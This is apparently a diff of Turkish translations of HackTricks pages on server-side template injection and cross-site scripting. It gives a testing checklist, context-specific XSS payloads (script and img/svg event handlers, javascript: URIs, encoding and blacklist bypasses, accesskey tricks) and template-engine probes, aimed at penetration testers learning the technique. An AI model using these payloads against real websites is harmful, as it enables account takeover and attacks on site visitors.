* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib)
### Diğer PHP
<figure><img src="../../.gitbook/assets/image (6).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg</a></p></figcaption></figure>
* Daha fazla bilgi için [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
### Jade (NodeJS)
```javascript
- var x = root.process
@ -602,7 +624,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
### patTemplate (PHP)
> [patTemplate](https://github.com/wernerwa/pat-template) XML etiketlerini kullanarak bir belgeyi farklı parçalara ayıran derlenmeyen PHP şablon motorudur.
> [patTemplate](https://github.com/wernerwa/pat-template) XML etiketlerini kullanarak bir belgeyi farklı parçalara ayıran, derlenmeyen bir PHP şablon motorudur.
```xml
<patTemplate:tmpl name="page">
This is the main page.
@ -707,6 +729,14 @@ home = pugjs.render(injected_page)
* [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine)
### Diğer NodeJS
<figure><img src="../../.gitbook/assets/image.png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg</a></p></figcaption></figure>
* Daha fazla bilgi için [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
### ERB (Ruby)
* `{{7*7}} = {{7*7}}`
@ -738,9 +768,17 @@ home = pugjs.render(injected_page)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
### Diğer Ruby
<figure><img src="../../.gitbook/assets/image (4).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (5).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg</a></p></figcaption></figure>
* Daha fazla bilgi için [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
### Python
Python'da **sandbox'ları atlayarak keyfi komut yürütme** hakkında ipuçları öğrenmek için aşağıdaki sayfayı kontrol edin:
**Kumandaları atlayarak rastgele komut yürütme** hakkında ipuçları öğrenmek için aşağıdaki sayfayı kontrol edin:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
@ -848,12 +886,20 @@ ${x}
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako)
### Diğer Python
<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg</a></p></figcaption></figure>
* Daha fazla bilgi için [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
### Razor (.Net)
* `@(2+2) <= Başarılı`
* `@() <= Başarılı`
* `@("{{code}}") <= Başarılı`
* `@ <=Başarılı`
* `@ <= Başarılı`
* `@{} <= HATA!`
* `@{ <= HATA!`
* `@(1+2)`
@ -899,6 +945,8 @@ Go'nun şablon motorunda, kullanımının doğrulanması belirli yüklerle yapı
* `{{printf "%s" "ssti" }}`: "ssti" dizesini göstermesi beklenir.
* `{{html "ssti"}}`, `{{js "ssti"}}`: Bu yükler "html" veya "js" eklemeden "ssti" döndürmelidir. Daha fazla yönerge Go belgelerinde [burada](https://golang.org/pkg/text/template) incelenebilir.
<figure><img src="../../.gitbook/assets/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure>
**XSS Exploitation**
`text/template` paketi ile XSS, yükü doğrudan ekleyerek basit hale getirilebilir. Aksine, `html/template` paketi yanıtı kodlayarak bunu önler (örneğin, `{{"<script>alert(1)</script>"}}` sonucu `&lt;script&gt;alert(1)&lt;/script&gt;` olur). Ancak, Go'da şablon tanımı ve çağrısı bu kodlamayı atlayabilir: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
@ -960,8 +1008,8 @@ Faydalı olabileceğini düşünüyorsanız, okuyun:
{% embed url="https://www.rootedcon.com/" %}
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -969,7 +1017,7 @@ GCP Hacking öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
* **HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek hacking ipuçlarını paylaşın.
</details>
{% endhint %}

View file

@ -1,8 +1,8 @@
# XSS (Cross Site Scripting)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hack kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
Eğer **hack kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı yazılı ve sözlü Lehçe gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -17,14 +17,14 @@ Eğer **hack kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek is
2. `javascript:` protokolünü destekleyen olayları veya nitelikleri kullanabilir misiniz?
3. Koruma mekanizmalarını aşabilir misiniz?
4. HTML içeriği herhangi bir istemci tarafı JS motoru (_AngularJS_, _VueJS_, _Mavo_...) tarafından yorumlanıyorsa, [**İstemci Tarafı Şablon Enjeksiyonu**](../client-side-template-injection-csti.md) istismar edebilirsiniz.
5. JS kodunu çalıştıran HTML etiketleri oluşturamıyorsanız, [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/) istismar edebilir misiniz?
5. JS kodunu çalıştıran HTML etiketleri oluşturamıyorsanız, [**Dangling Markup - HTML scriptsiz enjeksiyonu**](../dangling-markup-html-scriptless-injection/) istismar edebilir misiniz?
2. **HTML etiketinin** içinde:
1. Ham HTML bağlamına çıkabilir misiniz?
2. JS kodunu çalıştırmak için yeni olaylar/nitelikler oluşturabilir misiniz?
3. Sıkıştığınız nitelik JS yürütmesini destekliyor mu?
4. Koruma mekanizmalarını aşabilir misiniz?
3. **JavaScript kodunun** içinde:
1. `<script>` etiketini kaçırabilir misiniz?
1. `<script>` etiketinden kaçabilir misiniz?
2. Dizeyi kaçırabilir ve farklı JS kodu çalıştırabilir misiniz?
3. Girdiğiniz değer şablon literalleri \`\` içinde mi?
4. Koruma mekanizmalarını aşabilir misiniz?
@ -43,9 +43,9 @@ Karmaşık bir XSS üzerinde çalışırken bilmek ilginç olabilir:
Bir XSS'i başarıyla istismar etmek için bulmanız gereken ilk şey, web sayfasında **yansıtılan sizin kontrolünüzdeki bir değerdir**.
* **Ara yansıtılmış**: Eğer bir parametrenin değeri veya hatta yolun web sayfasında yansıtıldığını bulursanız, bir **Yansıtılmış XSS** istismar edebilirsiniz.
* **Saklanan ve yansıtılan**: Eğer kontrol ettiğiniz bir değerin sunucuda kaydedildiğini ve her sayfaya eriştiğinizde yansıtıldığını bulursanız, bir **Saklanan XSS** istismar edebilirsiniz.
* **JS ile erişilen**: Eğer kontrol ettiğiniz bir değerin JS kullanılarak erişildiğini bulursanız, bir **DOM XSS** istismar edebilirsiniz.
* **Ara yansıtılmış**: Eğer bir parametrenin değeri veya hatta yolun web sayfasında yansıtıldığını bulursanız, **Yansıtılmış XSS** istismar edebilirsiniz.
* **Saklanan ve yansıtılan**: Eğer kontrol ettiğiniz bir değerin sunucuda kaydedildiğini ve her sayfaya eriştiğinizde yansıtıldığını bulursanız, **Saklanan XSS** istismar edebilirsiniz.
* **JS ile erişilen**: Eğer kontrol ettiğiniz bir değerin JS kullanılarak erişildiğini bulursanız, **DOM XSS** istismar edebilirsiniz.
## Bağlamlar
@ -53,16 +53,16 @@ Bir XSS'i istismar etmeye çalışırken bilmeniz gereken ilk şey, **girdinizin
### Ham HTML
Eğer girdiniz **ham HTML** sayfasında yansıtılıyorsa, JS kodunu çalıştırmak için bazı **HTML etiketlerini** istismar etmeniz gerekecek: `<img , <iframe , <svg , <script` ... bunlar kullanabileceğiniz birçok olası HTML etiketinden sadece birkaçıdır.\
Eğer girdiniz **ham HTML** sayfasında **yansıtılıyorsa**, JS kodunu çalıştırmak için bazı **HTML etiketlerini** istismar etmeniz gerekecek: `<img , <iframe , <svg , <script` ... bunlar kullanabileceğiniz birçok olası HTML etiketinden sadece birkaçıdır.\
Ayrıca, [İstemci Tarafı Şablon Enjeksiyonu](../client-side-template-injection-csti.md) aklınızda bulunsun.
### HTML etiketinin niteliği içinde
Eğer girdiniz bir etiketin niteliğinin değerinde yansıtılıyorsa, şunları deneyebilirsiniz:
1. **nitelikten ve etikten kaçmak** (o zaman ham HTML'de olacaksınız) ve istismar etmek için yeni bir HTML etiketi oluşturmak: `"><img [...]`
2. Eğer **nitelikten kaçabiliyorsanız ama etiketten kaçamıyorsanız** (`>` kodlanmış veya silinmişse), etikete bağlı olarak **JS kodunu çalıştıran bir olay** oluşturabilirsiniz: `" autofocus onfocus=alert(1) x="`
3. Eğer **nitelikten kaçamıyorsanız** (`"` kodlanmış veya silinmişse), o zaman **hangi nitelikte** değerinizin yansıtıldığına bağlı olarak **değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize** bağlı olarak bunu istismar edebilirsiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklandığında rastgele kod çalıştırmasını sağlayabilirsiniz. Diğer ilginç bir **örnek**, `href` niteliğidir; burada `javascript:` protokolünü kullanarak rastgele kod çalıştırabilirsiniz: **`href="javascript:alert(1)"`**
1. **nitelikten ve etiketin dışına çıkmak** (o zaman ham HTML'de olacaksınız) ve istismar etmek için yeni bir HTML etiketi oluşturmak: `"><img [...]`
2. Eğer **nitelikten çıkabiliyorsanız ama etiketin dışına çıkamıyorsanız** (`>` kodlanmış veya silinmişse), etikete bağlı olarak **JS kodunu çalıştıran bir olay** oluşturabilirsiniz: `" autofocus onfocus=alert(1) x="`
3. Eğer **nitelikten çıkamıyorsanız** (`"` kodlanmış veya silinmişse), o zaman **hangi nitelikte** değerinizin yansıtıldığına bağlı olarak **değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize** bağlı olarak bunu istismar edebilirsiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklandığında rastgele kod çalıştırmasını sağlayabilirsiniz. Diğer ilginç bir **örnek**, `href` niteliğidir; burada `javascript:` protokolünü kullanarak rastgele kod çalıştırabilirsiniz: **`href="javascript:alert(1)"`**
4. Eğer girdiniz "**istismar edilemez etiketler**" içinde yansıtılıyorsa, açığı istismar etmek için **`accesskey`** numarasını deneyebilirsiniz (bunu istismar etmek için bir tür sosyal mühendislik yapmanız gerekecek): **`" accesskey="x" onclick="alert(1)" x="**
Eğer bir sınıf adını kontrol ediyorsanız Angular'ın XSS'i çalıştırdığına dair garip bir örnek:
@ -71,17 +71,17 @@ Eğer bir sınıf adını kontrol ediyorsanız Angular'ın XSS'i çalıştırdı
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
```
### Inside JavaScript code
### JavaScript kodunun içinde
Bu durumda, girdiniz bir HTML sayfasının **`<script> [...] </script>`** etiketleri arasında, bir `.js` dosyası içinde veya bir niteliğin içinde **`javascript:`** protokolü kullanılarak yansıtılır:
* Eğer **`<script> [...] </script>`** etiketleri arasında yansıtılıyorsa, girdiniz her türlü tırnak içinde olsa bile, `</script>` enjekte etmeyi deneyebilirsiniz ve bu bağlamdan çıkabilirsiniz. Bu, **tarayıcı önce HTML etiketlerini** ayrıştırdığı ve ardından içeriği işlediği için çalışır, bu nedenle enjekte ettiğiniz `</script>` etiketinin HTML kodu içinde olduğunu fark etmeyecektir.
* Eğer **bir JS dizesi içinde** yansıtılıyorsa ve son hile işe yaramıyorsa, dizeden **çıkmanız**, kodunuzu **çalıştırmanız** ve JS kodunu **yeniden oluşturmanız** gerekecektir (herhangi bir hata varsa, çalıştırılmayacaktır):
* Eğer **`<script> [...] </script>`** etiketleri arasında yansıtılıyorsa, girdiniz her türlü tırnak içinde olsa bile, `</script>` enjekte etmeyi deneyebilirsiniz ve bu bağlamdan çıkabilirsiniz. Bu, **tarayıcı önce HTML etiketlerini ayrıştırdığı** ve ardından içeriği işlediği için çalışır, bu nedenle enjekte ettiğiniz `</script>` etiketinin HTML kodunun içinde olduğunu fark etmeyecektir.
* Eğer **bir JS dizesinin içinde** yansıtılıyorsa ve son hile işe yaramıyorsa, dizeden **çıkmanız**, kodunuzu **çalıştırmanız** ve JS kodunu **yeniden oluşturmanız** gerekecektir (herhangi bir hata varsa, çalıştırılmayacaktır):
* `'-alert(1)-'`
* `';-alert(1)//`
* `\';alert(1)//`
* Eğer şablon dizeleri içinde yansıtılıyorsa, `${ ... }` sözdizimini kullanarak **JS ifadeleri** **gömebilirsiniz**: `` var greetings = `Hello, ${alert(1)}` ``
* **Unicode kodlama** geçerli **javascript kodu** yazmak için çalışır:
* Eğer şablon dizeleri içinde yansıtılıyorsa, `${ ... }` sözdizimini kullanarak **JS ifadelerini** **gömebilirsiniz**: `` var greetings = `Hello, ${alert(1)}` ``
* **Unicode kodlaması**, **geçerli javascript kodu** yazmak için çalışır:
```javascript
\u{61}lert(1)
\u0061lert(1)
@ -118,7 +118,7 @@ nextElementSibiling
lastElementSibiling
parentElement
```
You can also try to **Javascript fonksiyonlarını** doğrudan tetiklemeyi: `obj.sales.delOrders`.
You can also try to **Javascript fonksiyonlarını** doğrudan tetiklemek: `obj.sales.delOrders`.
Ancak, genellikle belirtilen fonksiyonu yürüten uç noktalar, çok ilginç DOM'a sahip olmayan uç noktalardır, **aynı kökenden diğer sayfalar** daha fazla işlem yapmak için **daha ilginç bir DOM** olacaktır.
@ -130,7 +130,7 @@ Bu nedenle, **farklı bir DOM'da bu zafiyeti istismar etmek için** **Same Origi
### DOM
**JS kodu** bazı **saldırgan tarafından kontrol edilen** verileri **güvensiz bir şekilde** kullanıyor, örneğin `location.href`. Bir saldırgan, bunu rastgele JS kodu yürütmek için istismar edebilir.
**JS kodu** bazı **saldırgan tarafından kontrol edilen verileri** **güvensiz bir şekilde** kullanıyor, örneğin `location.href`. Bir saldırgan, bunu rastgele JS kodu yürütmek için istismar edebilir.
{% content-ref url="dom-xss.md" %}
[dom-xss.md](dom-xss.md)
@ -138,7 +138,7 @@ Bu nedenle, **farklı bir DOM'da bu zafiyeti istismar etmek için** **Same Origi
### **Evrensel XSS**
Bu tür XSS'ler **her yerde** bulunabilir. Sadece bir web uygulamasının istemci istismarı ile değil, **herhangi bir** **bağlamda** bağımlıdır. Bu tür **rastgele JavaScript yürütmesi** **RCE** elde etmek, istemcilerde ve sunucularda **rastgele** **dosyaları** okumak ve daha fazlası için bile istismar edilebilir.\
Bu tür XSS'ler **her yerde** bulunabilir. Sadece bir web uygulamasının istemci istismarı ile değil, **herhangi bir** **bağlamda** bağımlıdır. Bu tür **rastgele JavaScript yürütmesi** **RCE** elde etmek, istemcilerde ve sunucularda **rastgele** **dosyaları** **okumak** ve daha fazlası için bile istismar edilebilir.\
Bazı **örnekler**:
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
@ -155,22 +155,22 @@ Bazı **örnekler**:
## Ham HTML içinde enjekte etme
Girdiğiniz **HTML sayfasında** yansıtılıyorsa veya bu bağlamda HTML kodunu kaçırıp enjekte edebiliyorsanız, yapmanız gereken **ilk** şey `<` karakterini yeni etiketler oluşturmak için istismar edip edemeyeceğinizi kontrol etmektir: O **karakteri** **yansıtmayı** deneyin ve **HTML kodlaması** yapılıp yapılmadığını veya **silinip silinmediğini** ya da **değişiklik olmadan yansıtılıp yansıtılmadığını** kontrol edin. **Sadece son durumda bu durumu istismar edebileceksiniz**.\
Girdiğiniz **HTML sayfasında** yansıtılıyorsa veya bu bağlamda HTML kodunu kaçırıp enjekte edebiliyorsanız, yapmanız gereken **ilk** şey `<` karakterini yeni etiketler oluşturmak için istismar edip edemeyeceğinizi kontrol etmektir: Sadece o **karakteri** **yansıtmayı** deneyin ve **HTML kodlaması** yapılıp yapılmadığını veya **silinip silinmediğini** ya da **değişiklik olmadan yansıtılıp yansıtılmadığını** kontrol edin. **Sadece son durumda bu durumu istismar edebileceksiniz**.\
Bu durumlar için ayrıca **[Müşteri Tarafı Şablon Enjeksiyonu](../client-side-template-injection-csti.md)**'nu da **aklınızda bulundurun**.\
_**Not: Bir HTML yorumu, \*\*\*\***** ****`-->`**** ****veya \*\*\*\*****`--!>`** ile kapatılabilir._
Bu durumda ve eğer kara/beyaz listeleme kullanılmıyorsa, şu tür payload'ları kullanabilirsiniz:
Bu durumda ve eğer kara/beyaz listeleme kullanılmıyorsa, şu tür yükleri kullanabilirsiniz:
```html
<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>
```
Ama, eğer etiketler/özellikler kara/beyaz listeleme kullanılıyorsa, hangi etiketleri oluşturabileceğinizi **brute-force** etmeniz gerekecek.\
Hangi etiketlerin izin verildiğini **bulduktan** sonra, saldırı yapabileceğiniz bağlamı görmek için bulunan geçerli etiketler içinde **özellikler/olayları brute-force** etmeniz gerekecek.
Hangi etiketlerin izin verildiğini **bulduktan** sonra, saldırı yapabileceğiniz bağlamı görmek için bulunan geçerli etiketler içinde **brute-force özellikleri/olayları** yapmanız gerekecek.
### Etiketler/Olaylar brute-force
[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) adresine gidin ve _**Etiketleri panoya kopyala**_ seçeneğine tıklayın. Ardından, hepsini Burp intruder kullanarak gönderin ve herhangi bir etiketin WAF tarafından kötü niyetli olarak keşfedilip keşfedilmediğini kontrol edin. Hangi etiketleri kullanabileceğinizi keşfettikten sonra, geçerli etiketleri kullanarak **tüm olayları brute-force** edebilirsiniz (aynı web sayfasında _**Olayları panoya kopyala**_ seçeneğine tıklayın ve önceki prosedürü takip edin).
[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) adresine gidin ve _**Etiketleri panoya kopyala**_ seçeneğine tıklayın. Ardından, hepsini Burp intruder kullanarak gönderin ve herhangi bir etiketin WAF tarafından kötü niyetli olarak keşfedilip keşfedilmediğini kontrol edin. Hangi etiketleri kullanabileceğinizi keşfettikten sonra, geçerli etiketleri kullanarak **tüm olayları brute force** edebilirsiniz (aynı web sayfasında _**Olayları panoya kopyala**_ seçeneğine tıklayın ve önceki prosedürü izleyin).
### Özel etiketler
@ -275,12 +275,12 @@ Eğer **etiketten kaçamazsanız**, etikette yeni nitelikler oluşturarak JS kod
```
### Attribute içinde
**Özellikten kaçamazsanız bile** (`"` kodlanıyor veya siliniyor), **değerinizin hangi özellikte yansıtıldığına bağlı olarak** **değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize göre** bunu kötüye kullanabileceksiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklandığında rastgele kod çalıştırabilirsiniz.\
Bir diğer ilginç **örnek** ise `href` özelliğidir; burada rastgele kod çalıştırmak için `javascript:` protokolünü kullanabilirsiniz: **`href="javascript:alert(1)"`**
**Öznitelikten kaçamazsanız bile** (`"` kodlanıyor veya siliniyor), **değerinizin hangi öznitelikte** yansıtıldığına bağlı olarak **değerin tamamını mı yoksa sadece bir kısmını mı kontrol ediyorsanız** bunu kötüye kullanabilirsiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklandığında rastgele kod çalıştırmasını sağlayabilirsiniz.\
Başka ilginç bir **örnek**, `href` özniteliğidir; burada rastgele kod çalıştırmak için `javascript:` protokolünü kullanabilirsiniz: **`href="javascript:alert(1)"`**
**HTML kodlaması/URL kodlaması kullanarak olay içindeki atlatma**
HTML etiket özelliklerinin değerindeki **HTML kodlanmış karakterler** **çalışma zamanında çözülür**. Bu nedenle aşağıdaki gibi bir şey geçerli olacaktır (yükleme kalın yazılmıştır): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Geri Dön </a>`
HTML etiket özniteliklerinin değerindeki **HTML kodlanmış karakterler** **çalışma zamanında çözülür**. Bu nedenle aşağıdaki gibi bir şey geçerli olacaktır (yükleme kalın yazılmıştır): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Geri Dön </a>`
**Her türlü HTML kodlaması geçerlidir**:
```javascript
@ -311,7 +311,7 @@ HTML etiket özelliklerinin değerindeki **HTML kodlanmış karakterler** **çal
```
### Özel Protokoller İçinde attribute
Burada bazı yerlerde **`javascript:`** veya **`data:`** protokollerini kullanarak **rastgele JS kodu çalıştırabilirsiniz**. Bazıları kullanıcı etkileşimi gerektirecek, bazıları ise gerektirmeyecek.
Burada bazı yerlerde **`javascript:`** veya **`data:`** protokollerini **rastgele JS kodu çalıştırmak** için kullanabilirsiniz. Bazıları kullanıcı etkileşimi gerektirecek, bazıları ise gerektirmeyecek.
```javascript
javascript:alert(1)
JavaSCript:alert(1)
@ -359,7 +359,7 @@ _**Bu durumda, bir öznitelik içinde olduğunuz için önceki bölümdeki HTML
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
Ayrıca, bu durumlar için başka bir **güzel numara** var: **Girdiğiniz `javascript:...` URL kodlanmış olsa bile, çalıştırılmadan önce URL çözülür.** Yani, eğer **tek tırnak** kullanarak **string**'den **kaçmak** gerekiyorsa ve **URL kodlandığını** görüyorsanız, **önemli değil,** çalıştırma sırasında **tek tırnak** olarak **yorumlanacaktır.**
Ayrıca, bu durumlar için başka bir **güzel numara** var: **`javascript:...` içindeki girdiniz URL kodlanmış olsa bile, çalıştırılmadan önce URL çözülür.** Yani, **tek tırnak** kullanarak **string**'den **kaçmak** gerekiyorsa ve **URL kodlandığını** görüyorsanız, **önemli değil,** çalıştırma sırasında **tek tırnak** olarak **yorumlanacaktır.**
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
@ -385,7 +385,7 @@ Not edin ki eğer **her ikisini de** `URLencode + HTMLencode` herhangi bir sıra
```javascript
<a target="_blank" rel="opener"
```
Eğer herhangi bir URL'yi **`<a href=`** etiketine, **`target="_blank" ve rel="opener"`** nitelikleri ile enjekte edebiliyorsanız, bu davranışı istismar etmek için **aşağıdaki sayfayı kontrol edin**:
Eğer herhangi bir URL'yi **`<a href=`** etiketine enjekte edebiliyorsanız ve bu etiket **`target="_blank" ve rel="opener"`** niteliklerini içeriyorsa, bu davranışı istismar etmek için **aşağıdaki sayfayı kontrol edin**:
{% content-ref url="../reverse-tab-nabbing.md" %}
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
@ -424,7 +424,7 @@ Ve **meta etiketlerinde**:
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
[**buradan**](https://portswigger.net/research/xss-in-hidden-input-fields): **Gizli bir öznitelik içinde bir XSS yükü çalıştırabilirsiniz**, eğer **kurbanı** **tuş kombinasyonuna** **ikna edebilirseniz**. Firefox Windows/Linux'ta tuş kombinasyonu **ALT+SHIFT+X** ve OS X'te **CTRL+ALT+X**'dir. Erişim anahtarı özniteliğinde farklı bir tuş kullanarak farklı bir tuş kombinasyonu belirtebilirsiniz. İşte vektör:
[**buradan**](https://portswigger.net/research/xss-in-hidden-input-fields): **Kurbanı** **tuş kombinasyonuna** **ikna** edebilirseniz, **gizli bir öznitelik içinde bir XSS yükü** çalıştırabilirsiniz. Firefox Windows/Linux'ta tuş kombinasyonu **ALT+SHIFT+X** ve OS X'te **CTRL+ALT+X**'dir. Erişim anahtarı özniteliğinde farklı bir tuş kullanarak farklı bir tuş kombinasyonu belirtebilirsiniz. İşte vektör:
```markup
<input type="hidden" accesskey="X" onclick="alert(1)">
```
@ -442,15 +442,15 @@ Bu bölümde farklı kodlama kullanarak birkaç hile zaten ortaya konmuştur. **
**HTML etiketleri ve öznitelikler için atlatmalar**
[Önceki bölümün Kara Liste Atlatmalarını](./#blacklist-bypasses) oku.
[Önceki bölümdeki Kara Liste Atlatmalarını](./#blacklist-bypasses) oku.
**JavaScript kodu için atlatmalar**
[Aşağıdaki bölümün JavaScript atlatma kara listesini](./#javascript-bypass-blacklists-techniques) oku.
[Aşağıdaki bölümdeki JavaScript atlatma kara listesini](./#javascript-bypass-blacklists-techniques) oku.
### CSS-Aletleri
Eğer webin çok küçük bir kısmında bir **XSS bulduysanız** ve bu bir tür etkileşim gerektiriyorsa (belki de alt kısımda bir onmouseover öğesi ile küçük bir bağlantı), o öğenin kapladığı alanı **değiştirmeyi** deneyebilirsiniz, böylece bağlantının tetiklenme olasılığını artırabilirsiniz.
Eğer webin çok küçük bir kısmında bir **XSS bulduysanız** ve bu bir tür etkileşim gerektiriyorsa (belki de alt kısımda bir onmouseover öğesi olan küçük bir bağlantı), o öğenin kapladığı alanı **değiştirmeyi** deneyebilirsiniz, böylece bağlantının tetiklenme olasılığını artırabilirsiniz.
Örneğin, öğeye şu şekilde stil ekleyebilirsiniz: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
@ -470,7 +470,7 @@ Bu hile [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-x
## JavaScript kodu içine enjekte etme
Bu durumda **girdi** JS kodunun bir `.js` dosyasındaki veya `<script>...</script>` etiketleri arasındaki veya JS kodunu çalıştırabilen HTML olayları arasındaki veya `javascript:` protokolünü kabul eden öznitelikler arasındaki **yansıtılacak**.
